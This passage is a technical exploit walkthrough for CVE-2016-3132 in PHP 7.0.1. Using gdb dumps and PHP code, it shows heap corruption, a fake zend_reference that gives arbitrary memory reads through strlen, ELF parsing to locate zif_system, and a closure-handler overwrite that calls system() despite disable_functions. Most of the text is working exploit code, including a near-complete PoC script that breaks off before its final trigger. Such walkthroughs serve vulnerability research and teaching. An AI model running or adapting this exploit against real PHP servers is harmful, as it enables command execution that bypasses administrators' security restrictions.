[+] Leaking heap address: 0x7ffff5877700 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7ffff5877740
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7ffff58776d0
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7ffff5877620
[+] Creating fake handler at: 0x7ffff5877b38
[+] Overwriting overlapping object handlers.
[+] Taking controll of RIP.

Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
(gdb) info registers
rax            0x7ffff5877b38      140737312684856
rbx            0x7ffff5813030      140737312272432
rcx            0x8                 8
rdx            0x4a09f6774d7a8cd   333441639116155085
rsi            0x0                 0
rdi            0x7ffff5877660      140737312683616
rbp            0x7fffffffa9e0      0x7fffffffa9e0
rsp            0x7fffffffa768      0x7fffffffa768
r8             0x0                 0
r9             0x7ffff5813600      140737312273920
r10            0x78190             491920
r11            0x246               582
r12            0x7fffffffaab0      140737488333488
r13            0x555555ef2aa0      93825002318496
r14            0x7ffff5813030      140737312272432
r15            0x7ffff588b1a0      140737312764320
rip            0xdeadbeef          0xdeadbeef
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs

...

We are now able to control RIP.

Bypass disabled functions

The ability to read and write in the memory can be useful in another way:

  • Bypassing the disabled functions.

To disable the use of some functions in the php interpreter, write the following file:

File: local_php.ini

# list of function to disable globally
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

allow_url_fopen=Off
allow_url_include=Off

Then let’s run the interpreter by specifying the configuration file local_php.ini and the PHP script example_2.php.

File: example_2.php

<?php

system("id");

?>
./bin/php-7.0.1-main -c php.ini example_2.php

Warning: system() has been disabled for security reasons in example_2.php on line 3

It is not possible to call directly the system() function but its address is still present in the process memory. So we will have to read the memory of our process to find its address. However so far we have only been able to read the memory present after our corrupted object, so we will need to read the memory prior to this object.

Several strategies can be established to call system(), but ours is the following:

  • Read process memory.
  • Identify system()’s address (zif_system handler).
  • Overwrite a function’s handler with system() address.

Let’s start by creating a class that will be useful for the exploitation:


...

// Object use to help bypass disabled functions.
class Helper {
    public $a, $b, $c, $d;
}

...

    # As explained in object's class
    # definition this object is used
    # to help bypass disabled functions.
    $helper = new Helper;
    $helper->a = 0x1334;
    $helper->b = function ($x) {};
    # The following two properties are
    # not necessary but are usefull for
    # debug purpose because we are noobs.
    $helper->c = 0x1335;
    $helper->d = 0x1336;
    if ($DEBUG) {
        var_dump($helper);
    }

...

Our goal will be to use the property a ($helper->a) for reading in the memory and to overwrite the property b ($helper->b) to call the function system(). The last two properties are just useful to find ourselves in the memory while using gdb, so let’s explore $helper.

$helper

After the code above this is what $helper looks like:

(gdb) print (zend_object)*0x7ffff58957e0
$53 = {
  gc = {
    refcount = 2,
    u = {
      v = {
        type = 8 '\b',
        flags = 0 '\000',
        gc_info = 0
      },
      type_info = 8
    }
  },
  handle = 53,
  ce = 0x7ffff5803018,
  handlers = 0x555555ecd820 <std_object_handlers>,
  properties = 0x0,
  properties_table = {{
      value = {
        lval = 4916,
        dval = 2.428826714955568e-320,
        counted = 0x1334,
        str = 0x1334,
        arr = 0x1334,
        obj = 0x1334,
        res = 0x1334,
        ref = 0x1334,
        ast = 0x1334,
        zv = 0x1334,
        ptr = 0x1334,
        ce = 0x1334,
        func = 0x1334,
        ww = {
          w1 = 4916,
          w2 = 0
        }
      },
      u1 = {
        v = {
          type = 4 '\004',
          type_flags = 0 '\000',
          const_flags = 0 '\000',
          reserved = 0 '\000'
        },
        type_info = 4
      },
      u2 = {
        var_flags = 741368440,
        next = 741368440,
        cache_slot = 741368440,
        lineno = 741368440,
        num_args = 741368440,
        fe_pos = 741368440,
        fe_iter_idx = 741368440
      }
    }}
}

Which can also be explored in the following way:

(gdb) x/40x 0x7ffff58957e0
0x7ffff58957e0:	0x00000002	0x00000008	0x00000035	0x00000000
0x7ffff58957f0:	0xf5803018	0x00007fff	0x55ecd820	0x00005555
0x7ffff5895800:	0x00000000	0x00000000	0x00001334	0x00000000
0x7ffff5895810:	0x00000004	0x2c306278	0xf585cf00	0x00007fff
0x7ffff5895820:	0x00000c08	0x7265766f	0x00001335	0x00000000
0x7ffff5895830:	0x00000004	0x64612074	0x00001336	0x00000000
0x7ffff5895840:	0x00000004	0x38356666	0x37373539	0x00000a30
0x7ffff5895850:	0x00000001	0x00000006	0x00000000	0x00000000
0x7ffff5895860:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff5895870:	0x00000000	0x00000000	0x00000000	0x00000000

$helper->a

(gdb) print &((zend_object)*0x7ffff58957e0)->properties_table[0]
$55 = (zval *) 0x7ffff5895808
(gdb) print ((zend_object)*0x7ffff58957e0)->properties_table[0]
$56 = {
  value = {
    lval = 4916,
    dval = 2.428826714955568e-320,
    counted = 0x1334,
    str = 0x1334,
    arr = 0x1334,
    obj = 0x1334,
    res = 0x1334,
    ref = 0x1334,
    ast = 0x1334,
    zv = 0x1334,
    ptr = 0x1334,
    ce = 0x1334,
    func = 0x1334,
    ww = {
      w1 = 4916,
      w2 = 0
    }
  },
  u1 = {
    v = {
      type = 4 '\004',
      type_flags = 0 '\000',
      const_flags = 0 '\000',
      reserved = 0 '\000'
    },
    type_info = 4
  },
  u2 = {
    var_flags = 741368440,
    next = 741368440,
    cache_slot = 741368440,
    lineno = 741368440,
    num_args = 741368440,
    fe_pos = 741368440,
    fe_iter_idx = 741368440
  }
}

Because $helper->a corresponds to an integer then the zval structure contains directly the value of the integer and not a pointer to another structure as stated in the documentation.

$helper->b

(gdb) print &((zend_object)*0x7ffff58957e0)->properties_table[1]
$58 = (zval *) 0x7ffff5895818
(gdb) print ((zend_object)*0x7ffff58957e0)->properties_table[1]
$59 = {
  value = {
    lval = 140737312575232,
    dval = 6.9533471231443387e-310,
    counted = 0x7ffff585cf00,
    str = 0x7ffff585cf00,
    arr = 0x7ffff585cf00,
    obj = 0x7ffff585cf00,
    res = 0x7ffff585cf00,
    ref = 0x7ffff585cf00,
    ast = 0x7ffff585cf00,
    zv = 0x7ffff585cf00,
    ptr = 0x7ffff585cf00,
    ce = 0x7ffff585cf00,
    func = 0x7ffff585cf00,
    ww = {
      w1 = 4119187200,
      w2 = 32767
    }
  },
  u1 = {
    v = {
      type = 8 '\b',
      type_flags = 12 '\f',
      const_flags = 0 '\000',
      reserved = 0 '\000'
    },
    type_info = 3080
  },
  u2 = {
    var_flags = 1919252079,
    next = 1919252079,
    cache_slot = 1919252079,
    lineno = 1919252079,
    num_args = 1919252079,
    fe_pos = 1919252079,
    fe_iter_idx = 1919252079
  }
}

$helper->b is an anonymous functions (closures).

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callable parameters, but they have many other uses.

Anonymous functions are implemented using the Closure class. - https://www.php.net/manual/en/functions.anonymous.php

File: Zend/zend_closures.c


...

typedef struct _zend_closure {
  zend_object       std;
  zend_function     func;
  zval              this_ptr;
  zend_class_entry *called_scope;
  void (*orig_internal_handler)(INTERNAL_FUNCTION_PARAMETERS);
} zend_closure;

...

It can be explored in gdb as follow:

(gdb) print (zend_closure)*0x7ffff585cf00
$65 = {
  std = {
    gc = {
      refcount = 1,
      u = {
        v = {
          type = 8 '\b',
          flags = 0 '\000',
          gc_info = 0
        },
        type_info = 8
      }
    },
    handle = 54,
    ce = 0x555555f54c10,
    handlers = 0x555555ef4160 <closure_handlers>,
    properties = 0x0,
    properties_table = {{
        value = {
          lval = 0,
          dval = 0,
          counted = 0x0,
          str = 0x0,
          arr = 0x0,
          obj = 0x0,
          res = 0x0,
          ref = 0x0,
          ast = 0x0,
          zv = 0x0,
          ptr = 0x0,
          ce = 0x0,
          func = 0x0,
          ww = {
            w1 = 0,
            w2 = 0
          }
        },
        u1 = {
          v = {
            type = 0 '\000',
            type_flags = 0 '\000',
            const_flags = 0 '\000',
            reserved = 0 '\000'
          },
          type_info = 0
        },
        u2 = {
          var_flags = 0,
          next = 0,
          cache_slot = 0,
          lineno = 0,
          num_args = 0,
          fe_pos = 0,
          fe_iter_idx = 0
        }
      }}
  },
  func = {
    type = 2 '\002',
    common = {
      type = 2 '\002',
      arg_flags = "\000\000",
      fn_flags = 135266304,
      function_name = 0x7ffff5802c30,
      scope = 0x0,
      prototype = 0x7ffff585cf00,
      num_args = 1,
      required_num_args = 1,
      arg_info = 0x7ffff58550c0
    },
    op_array = {
      type = 2 '\002',
      arg_flags = "\000\000",
      fn_flags = 135266304,
      function_name = 0x7ffff5802c30,
      scope = 0x0,
      prototype = 0x7ffff585cf00,
      num_args = 1,
      required_num_args = 1,
      arg_info = 0x7ffff58550c0,
      refcount = 0x7ffff5871060,
      this_var = 4294967295,
      last = 2,
      opcodes = 0x7ffff5861240,
      last_var = 1,
      T = 0,
      vars = 0x7ffff5871068,
      last_brk_cont = 0,
      last_try_catch = 0,
      brk_cont_array = 0x0,
      try_catch_array = 0x0,
      static_variables = 0x0,
      filename = 0x7ffff5861040,
      line_start = 186,
      line_end = 186,
      doc_comment = 0x0,
      early_binding = 4294967295,
      last_literal = 1,
      literals = 0x7ffff58740b0,
      cache_size = 0,
      run_time_cache = 0x7ffff5804b18,
      reserved = {0x0, 0x0, 0x0, 0x0}
    },
    internal_function = {
      type = 2 '\002',
      arg_flags = "\000\000",
      fn_flags = 135266304,
      function_name = 0x7ffff5802c30,
      scope = 0x0,
      prototype = 0x7ffff585cf00,
      num_args = 1,
      required_num_args = 1,
      arg_info = 0x7ffff58550c0,
      handler = 0x7ffff5871060,
      module = 0x2ffffffff,
      reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
    }
  },
  this_ptr = {
    value = {
      lval = 0,
      dval = 0,
      counted = 0x0,
      str = 0x0,
      arr = 0x0,
      obj = 0x0,
      res = 0x0,
      ref = 0x0,
      ast = 0x0,
      zv = 0x0,
      ptr = 0x0,
      ce = 0x0,
      func = 0x0,
      ww = {
        w1 = 0,
        w2 = 0
      }
    },
    u1 = {
      v = {
        type = 0 '\000',
        type_flags = 0 '\000',
        const_flags = 0 '\000',
        reserved = 0 '\000'
      },
      type_info = 0
    },
    u2 = {
      var_flags = 0,
      next = 0,
      cache_slot = 0,
      lineno = 0,
      num_args = 0,
      fe_pos = 0,
      fe_iter_idx = 0
    }
  },
  called_scope = 0x0,
  orig_internal_handler = 0x0
}

What we are interested in this object are func->internal_function->type and func->internal_function->handler because it is these values that we will modify to be able to call system(). We want func->internal_function->type to be equal to 1 and func->internal_function->handler to take the address of system().

(gdb) print ((zend_closure)*0x7ffff585cf00)->func
$66 = {
  type = 2 '\002',
  common = {
    type = 2 '\002',
    arg_flags = "\000\000",
    fn_flags = 135266304,
    function_name = 0x7ffff5802c30,
    scope = 0x0,
    prototype = 0x7ffff585cf00,
    num_args = 1,
    required_num_args = 1,
    arg_info = 0x7ffff58550c0
  },
  op_array = {
    type = 2 '\002',
    arg_flags = "\000\000",
    fn_flags = 135266304,
    function_name = 0x7ffff5802c30,
    scope = 0x0,
    prototype = 0x7ffff585cf00,
    num_args = 1,
    required_num_args = 1,
    arg_info = 0x7ffff58550c0,
    refcount = 0x7ffff5871060,
    this_var = 4294967295,
    last = 2,
    opcodes = 0x7ffff5861240,
    last_var = 1,
    T = 0,
    vars = 0x7ffff5871068,
    last_brk_cont = 0,
    last_try_catch = 0,
    brk_cont_array = 0x0,
    try_catch_array = 0x0,
    static_variables = 0x0,
    filename = 0x7ffff5861040,
    line_start = 186,
    line_end = 186,
    doc_comment = 0x0,
    early_binding = 4294967295,
    last_literal = 1,
    literals = 0x7ffff58740b0,
    cache_size = 0,
    run_time_cache = 0x7ffff5804b18,
    reserved = {0x0, 0x0, 0x0, 0x0}
  },
  internal_function = {
    type = 2 '\002',
    arg_flags = "\000\000",
    fn_flags = 135266304,
    function_name = 0x7ffff5802c30,
    scope = 0x0,
    prototype = 0x7ffff585cf00,
    num_args = 1,
    required_num_args = 1,
    arg_info = 0x7ffff58550c0,
    handler = 0x7ffff5871060,
    module = 0x2ffffffff,
    reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
  }
}
(gdb) print ((zend_closure)*0x7ffff585cf00)->func->internal_function
$69 = {
  type = 2 '\002',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff5802c30,
  scope = 0x0,
  prototype = 0x7ffff585cf00,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff58550c0,
  handler = 0x7ffff5871060,
  module = 0x2ffffffff,
  reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
}

We will need to obtain the offsets of these values within the structure zend_closure in order to rewrite them:

  • func->internal_function->type need to be set to 1.
  • func->internal_function->handler need to be set to system() address.

Why func->internal_function->type need to be set to 1?

Because in the following file we have:

File: Zend/zend_closures.c


...

static void zend_closure_free_storage(zend_object *object) /* {{{ */
{
  zend_closure *closure = (zend_closure *)object;

  zend_object_std_dtor(&closure->std);

  if (closure->func.type == ZEND_USER_FUNCTION) {

    ...

    destroy_op_array(&closure->func.op_array);
  }

  ...

ZEND_USER_FUNCTION is set to 2, and we don’t want to enter the if condition. In addition I tested values greater than 2 (eg. 3, 4, …, 16, etc.) but this triggers the following exception:

Fatal error: Uncaught Error: Cannot call overloaded function for non-object in <HIDDEN>:277
Stack trace:
#0 [internal function]: exception_handler(Object(OutOfRangeException))
#1 {main}
  thrown in <HIDDEN> on line 277

We are therefore forced to make func->internal_function->type equal to 1.

Let’s calculate the offsets.

type

(gdb) print &((zend_closure)*0x7ffff585cf00)->func->internal_function->type
$73 = (zend_uchar *) 0x7ffff585cf38 "\002"

Using python:

>>> hex(0x7ffff585cf38-0x7ffff585cf00)
'0x38'

handler

(gdb) print &((zend_closure)*0x7ffff585cf00)->func->internal_function->handler
$74 = (void (**)(zend_execute_data *, zval *)) 0x7ffff585cf68

Using python:

>>> hex(0x7ffff585cf68-0x7ffff585cf00)
'0x68'
  • func->internal_function->type: 0x38
  • func->internal_function->handler: 0x68

Reading arbitrary memory

To read the memory in an arbitrary way we will use a trick. We will use strlen() function which is actually more of a macro than a function.

File: Zend/zend_string.h


...

#define ZSTR_LEN(zstr)  (zstr)->len

...

You have the right to ask why?

The reason is the following, we will transform $helper->a from an integer to a reference. To do this we will change the type of $helper->a from 4 (IS_LONG = 4) to 10 (IS_REFERENCE = 10) and make $helper->a point to a zend_reference written in a memory area that we control (after $overlapped).

We will define this reference as a string via its type set to 6 (IS_STRING = 6) and make it point to an arbitrary address of our choice. This reference being a string we will use strlen function to leak information from the heap because strlen will return to us a value 16 bytes after the address the reference is pointing to.

File: Zend/zend_types.h

struct _zend_string {
  zend_refcounted_h gc;
  zend_ulong        h;                /* hash value */
  size_t            len;
  char              val[1];
};

So let’s imagine that we want to read the content of the address X, we will have to subtract 16 from this address to compensate the decallage introduced by strlen. So we will make our resource point to X-16 or (X-0xa).

Let’s create our fake zend_resource:


...

    // When we write, we start writing to the _zend_string
    // structure at offset 24 (0x18) where val[1] takes place.
    // Now we will write the a fake _zend_reference in the heap.
    $fake_zend_reference = $elt50th + 0x18 + 0x200;
    print "[+] Creating fake zend_reference at: 0x" . dechex($fake_zend_reference) ."\n";
    // Creates a fake structure _zend_reference at address $fake_zend_reference.
    // Write fake gc.
    write($overlapped, 0x200, 0x2, 0x1);
    // Write fake val.
    write($overlapped, 0x208, 0x4141414141414141, 0x8);
    // Write fake type (6 == IS_STRING).
    write($overlapped, 0x210, 0x6, 0x1);

...

Modify $helper->a and make it point to our fake zend_resource:


...

    # Calculating $helper's address.
    $helper_address = $elt50th + 0x70;
    print "[*] \$helper is at: 0x" . dechex($helper_address) ."\n";
    print "[+] Overwriting \$helper first property address and type (from integer to ressource).\n";
    # Overwriting helper first property to make
    # it point to the fake zend_reference previously
    # created ($fake_zend_reference).
    write($overlapped, 0x80, $fake_zend_reference, 0x8);
    # Changing the type of the object
    # to reference (IS_REFERENCE = 10).
    write($overlapped, 0x88, 0xa, 0x1);

...

Choose an address we want to read:


...

    # Calculating $helper's handlers address.
    $helper_std_object_handlers = str2ptr($overlapped, 0x70, 0x8, "l");
    print "[+] \$helper's handlers is at: 0x" . dechex($helper_std_object_handlers) ."\n";

    # Start leaking arbitrary memory from dereferenced $helper's handlers.
    $binary_leak = leak_through_len($helper_std_object_handlers, 8);
    print "[+] Binary leak at: 0x" . dechex($binary_leak) ."\n";

...

Where leak_through_len corresponds to the function that will allow us to read in the memory in an arbitrary way:

function leak_through_len($address, $offset = 0, $size = 8) {
    global $overlapped, $helper;

    write($overlapped, 0x208, $address + $offset - 0x10);
    $leak = strlen($helper->a);
    if($size != 8) {
        $leak %= 2 << ($size * 8) - 1;
    }
    return $leak;
}

Exploitation

Now that we are able to read in the memory in an arbitrary way, let’s find the ELF header using functions written by mm0r1:

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak_through_len($addr, 0, 7);
        # Looking for ELF header
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

And parse the ELF binary:

function parse_elf($base) {
    $e_type = leak_through_len($base, 0x10, 2);
    $e_phoff = leak_through_len($base, 0x20);
    $e_phentsize = leak_through_len($base, 0x36, 2);
    $e_phnum = leak_through_len($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type = leak_through_len($header, 0, 4);
        $p_flags = leak_through_len($header, 4, 4);
        $p_vaddr = leak_through_len($header, 0x10);
        $p_memsz = leak_through_len($header, 0x28);

        # PT_LOAD, PF_Read_Write
        if($p_type == 1 && $p_flags == 6) { 
            # Handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        }
        # PT_LOAD, PF_Read_exec
        else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

We need to get the address of basic_functions in order to find the address of system() (zif_system handler) but first let’s explore what we are looking for using gdb:

(gdb) print basic_functions_module
$5 = {
  size = 168,
  zend_api = 20151012,
  zend_debug = 0 '\000',
  zts = 0 '\000',
  ini_entry = 0x0,
  deps = 0x555555e65ba0 <standard_deps>,
  name = 0x555555d66b39 "standard",
  functions = 0x555555ebfb00 <basic_functions>,
  module_startup_func = 0x555555841280 <zm_startup_basic>,
  module_shutdown_func = 0x555555840c90 <zm_shutdown_basic>,
  request_startup_func = 0x55555583d160 <zm_activate_basic>,
  request_shutdown_func = 0x55555583d470 <zm_deactivate_basic>,
  info_func = 0x55555583d670 <zm_info_basic>,
  version = 0x555555d96d97 "7.0.1",
  globals_size = 0,
  globals_ptr = 0x0,
  globals_ctor = 0x0,
  globals_dtor = 0x0,
  post_deactivate_func = 0x0,
  module_started = 0,
  type = 1 '\001',
  handle = 0x0,
  module_number = 21,
  build_id = 0x55555598aeae "API20151012,NTS"
}
(gdb) print basic_functions_module->functions
$16 = (const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>
(gdb) print basic_functions_module->functions[0]
$6 = {
  fname = 0x555555d75b2e "constant",
  handler = 0x55555583d7c0 <zif_constant>,
  arg_info = 0x555555e6d900 <arginfo_constant>,
  num_args = 1,
  flags = 0
}
(gdb) print &basic_functions_module->functions[0]
$24 = (const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>
(gdb) print basic_functions_module->functions[1]
$7 = {
  fname = 0x555555d75b37 "bin2hex",
  handler = 0x555555866110 <zif_bin2hex>,
  arg_info = 0x555555e67f20 <arginfo_bin2hex>,
  num_args = 1,
  flags = 0
}
(gdb) print &basic_functions_module->functions[1]
$23 = (const struct _zend_function_entry *) 0x555555ebfb20 <basic_functions+32>
function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak_through_len($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "constant"
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak_through_len($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "bin2hex"
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

Once we have the address of basic_functions_module->functions we need to iterate until we find the address of system().

(gdb) print basic_functions_module->functions[118]
$9 = {
  fname = 0x555555d75f2f "system",
  handler = 0x555555847c00 <zif_system>,
  arg_info = 0x555555e6c4a0 <arginfo_system>,
  num_args = 2,
  flags = 0
}
function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak_through_len($addr);
        $f_name = leak_through_len($f_entry, 0, 6);
        # Looking for "system"
        if($f_name == 0x6d6574737973) {
            return leak_through_len($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

The system() address having been obtained, we only have to create a fake zend_closure (by copying an existing one for example) structure and replace its handler with the one of zif_system.


...

    # Calculating helper->b property offset.
    $helper_b_property = $helper_address + 0x38;
    # Calculating helper->b property offset.
    $relative_offset = $helper_b_property - ($elt50th + 0x18);
    # Calculating helper->b's (zend_closure) address.
    $real_helper_b = str2ptr($overlapped, $relative_offset, 0x8, "l");
    print "[+] \$helper->b point to: 0x" . dechex($real_helper_b) ."\n";

    # Creating a copy of $helper->b (zend_closure) further in memory.
    $fake_zend_closure = $elt50th + 0x18 + 0x400;
    print "[+] Creating fake zend_closure at: 0x" . dechex($fake_zend_closure) ."\n";
    for($i = 0; $i < 0x128; $i += 8) {
        write($overlapped, 0x400 + $i, leak_through_len($real_helper_b, $i));
    }

    # Overwriting fake zend_closure type and handler.
    write($overlapped, 0x400 + 0x38, 1, 4);
    print "[+] Overwriting fake zend_closure's handler with zif_system.\n";
    write($overlapped, 0x400 + 0x68, $zif_system);

    # Overwriting $helper->b pointer with address of $fake_zend_closure.
    print "[+] Overwriting \$helper->b pointer with address of \$fake_zend_closure.\n";
    write($overlapped, $relative_offset, $fake_zend_closure);

    if ($DEBUG) {
        var_dump($helper);
    }
    print "[+] Triggering system.\n";
    ($helper->b)("id");
    exit();

POC

If we put everything together since the beginning, we get the following code:

File: CVE-2016-3132_4_bypass_disabled_functions.php

<?php

$DEBUG = 0;

// Global variable use to bypass disabled functions.
global $overlapped, $helper;

// Object use to help bypass disabled functions.
class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $offset=0, $size=8, $endianness="l") {
    $address = 0;
    if ($endianness === "l") {
        for($i = $size-1; $i >= 0; $i--) {
            $address <<= 8;
            $address |= ord($str[$offset+$i]);
        }
    }
    return $address;
}

function write(&$str, $offset, $value, $size=8) {
    for($i = 0; $i < $size; $i++) {
        $str[$offset + $i] = chr($value & 0xff);
        $value >>= 8;
    }
}

function leak_through_len($address, $offset = 0, $size = 8) {
    global $overlapped, $helper;

    write($overlapped, 0x208, $address + $offset - 0x10);
    $leak = strlen($helper->a);
    if($size != 8) {
        $leak %= 2 << ($size * 8) - 1;
    }
    return $leak;
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak_through_len($addr, 0, 7);
        # Looking for ELF header
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function parse_elf($base) {
    $e_type = leak_through_len($base, 0x10, 2);
    $e_phoff = leak_through_len($base, 0x20);
    $e_phentsize = leak_through_len($base, 0x36, 2);
    $e_phnum = leak_through_len($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type = leak_through_len($header, 0, 4);
        $p_flags = leak_through_len($header, 4, 4);
        $p_vaddr = leak_through_len($header, 0x10);
        $p_memsz = leak_through_len($header, 0x28);

        # PT_LOAD, PF_Read_Write
        if($p_type == 1 && $p_flags == 6) { 
            # Handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        }
        # PT_LOAD, PF_Read_exec
        else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak_through_len($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "constant"
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak_through_len($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "bin2hex"
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak_through_len($addr);
        $f_name = leak_through_len($f_entry, 0, 6);
        # Looking for "system"
        if($f_name == 0x6d6574737973) {
            return leak_through_len($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

class customSplFixedArray extends SplFixedArray {
    public function offsetSet($index, $newval) {}
    public function offsetUnset($index) {
        parent::offsetUnset($index);
    }
}

function exception_handler($exception) {
    global $DEBUG, $heap_massage, $overlapped, $helper;

    // Allocate a string that will fit in
    // $heap_massage[50] memory space.
    $overlapped = str_repeat("C", 0x48);
    if ($DEBUG) {
        var_dump($overlapped);
    }

    // Allocate a customSplFixedArray that
    // will overlap previously allocated
    // string.
    $overlapping = new customSplFixedArray(5);
    if ($DEBUG) {
        var_dump($overlapping);
    }

    if ($DEBUG) {
        var_dump($heap_massage[52]);
    }
    if ($DEBUG) {
        var_dump($heap_massage[51]);
    }
    unset($heap_massage[52]);
    unset($heap_massage[51]);
    // Because 51th elt is now the head
    // of the free list it will point ont
    // 52th elt which have been free before.

    // Leaking of an address from the heap.
    $offset = 0x58;
    $leak = str2ptr($overlapped, $offset, 0x8, "l");
    print "[+] Leaking heap address: 0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";

    // Identification of the first freed object.
    $offset = 0x40;
    $elt52th = $leak + $offset;
    print "[*] Adding empiric shift: +0x" . dechex($offset) . ", 52th elt is at address: 0x" . dechex($elt52th) ."\n";

    // Identification of the second freed object.
    $offset = 0x70;
    $elt51th = $elt52th - $offset;
    print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 51th elt is at address: 0x" . dechex($elt51th) ."\n";

    // Identification of the memory address under 
    // our control.
    $offset = 0xb0;
    $elt50th = $elt51th - $offset;
    print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 50th elt (\$overlapped) is at address: 0x" . dechex($elt50th) ."\n";

    # As explained in object's class
    # definition this object is used
    # to help bypass disabled functions.
    $helper = new Helper;
    $helper->a = 0x1334;
    $helper->b = function ($x) {};
    # The following two properties are
    # not necessary but are usefull for
    # debug purpose because we are noobs.
    $helper->c = 0x1335;
    $helper->d = 0x1336;
    if ($DEBUG) {
        var_dump($helper);
    }

    // When we write, we start writing to the _zend_string
    // structure at offset 24 (0x18) where val[1] takes place.
    // Now we will write the a fake _zend_reference in the heap.
    $fake_zend_reference = $elt50th + 0x18 + 0x200;
    print "[+] Creating fake zend_reference at: 0x" . dechex($fake_zend_reference) ."\n";
    // Creates a fake structure _zend_reference at address $fake_zend_reference.
    // Write fake gc.
    write($overlapped, 0x200, 0x2, 0x1);
    // Write fake val.
    write($overlapped, 0x208, 0x4141414141414141, 0x8);
    // Write fake type (6 == IS_STRING).
    write($overlapped, 0x210, 0x6, 0x1);
    
    # Calculating $helper's address.
    $helper_address = $elt50th + 0x70;
    print "[*] \$helper is at: 0x" . dechex($helper_address) ."\n";
    print "[+] Overwriting \$helper first property address and type (from integer to ressource).\n";
    # Overwriting helper first property to make
    # it point to the fake zend_reference previously
    # created ($fake_zend_reference).
    write($overlapped, 0x80, $fake_zend_reference, 0x8);
    # Changing the type of the object
    # to reference (IS_REFERENCE = 10).
    write($overlapped, 0x88, 0xa, 0x1);

    # Calculating $helper's handlers address.
    $helper_std_object_handlers = str2ptr($overlapped, 0x70, 0x8, "l");
    print "[+] \$helper's handlers is at: 0x" . dechex($helper_std_object_handlers) ."\n";

    # Start leaking arbitrary memory from dereferenced $helper's handlers.
    $binary_leak = leak_through_len($helper_std_object_handlers, 8);
    print "[+] Binary leak at: 0x" . dechex($binary_leak) ."\n";

    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    print "[+] Binary base is at: 0x" . dechex($base) ."\n";

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    print "[+] ELF header is at: 0x" . dechex($elf[0]) ."\n";

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't basic_functions_module->functions address");
    }
    print "[+] basic_functions_module->functions start at: 0x" . dechex($basic_funcs) ."\n";

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    print "[+] zif_system is at: 0x" . dechex($zif_system) ."\n";

    # Calculating helper->b property offset.
    $helper_b_property = $helper_address + 0x38;
    # Calculating helper->b property offset.
    $relative_offset = $helper_b_property - ($elt50th + 0x18);
    # Calculating helper->b's (zend_closure) address.
    $real_helper_b = str2ptr($overlapped, $relative_offset, 0x8, "l");
